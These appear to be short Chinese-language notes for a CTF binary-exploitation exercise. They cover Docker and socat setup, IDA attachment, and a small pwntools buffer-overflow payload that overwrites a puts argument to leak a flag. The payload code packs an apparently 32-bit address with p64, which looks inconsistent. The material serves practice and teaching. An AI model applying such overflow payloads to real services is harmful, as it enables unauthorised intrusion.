service docker start //启动docker服务
docker container ls -a //查看所有容器
docker start 容器名 //启动指定容器
docker container cp 被复制的文件路径 容器名:复制到容器的路径 //例如将/root/Desktop/pwn/easy2复制至容器Testcontainer的/root/easy2
docker exec -it 容器名 /bin/bash //进入容器的终端
socat tcp-listen:10001,reuseaddr,fork EXEC:./文件名,pty,raw //启动一个端口,转发docker里的程序
保留这个终端,重开一个终端进入docker容器运行linux_server
然后在新开个终端:
python //进入py
from pwn import *//调用pwn模块
io = remote('172.17.0.2',10001) //连接docker容器
在ida中attach被调试的进程,在输入函数后面下断点,如下图:
io.sendline("输入内容")//使程序运行下去断在输入函数后面
最简单的py构造脚本如下:
flag_addr = 0x0804A080 #flag字符串所在的内存地址
payload = ''
payload += 'A'*20 #使用20个任意字符填充
payload += p64(flag_addr) #将0x080486F7处的call _puts指令调用的参数覆盖成flag字符串所在地址
print io.recv()
io.sendline(payload)
print io.recv() #读取flag
环境加载完成后如下图: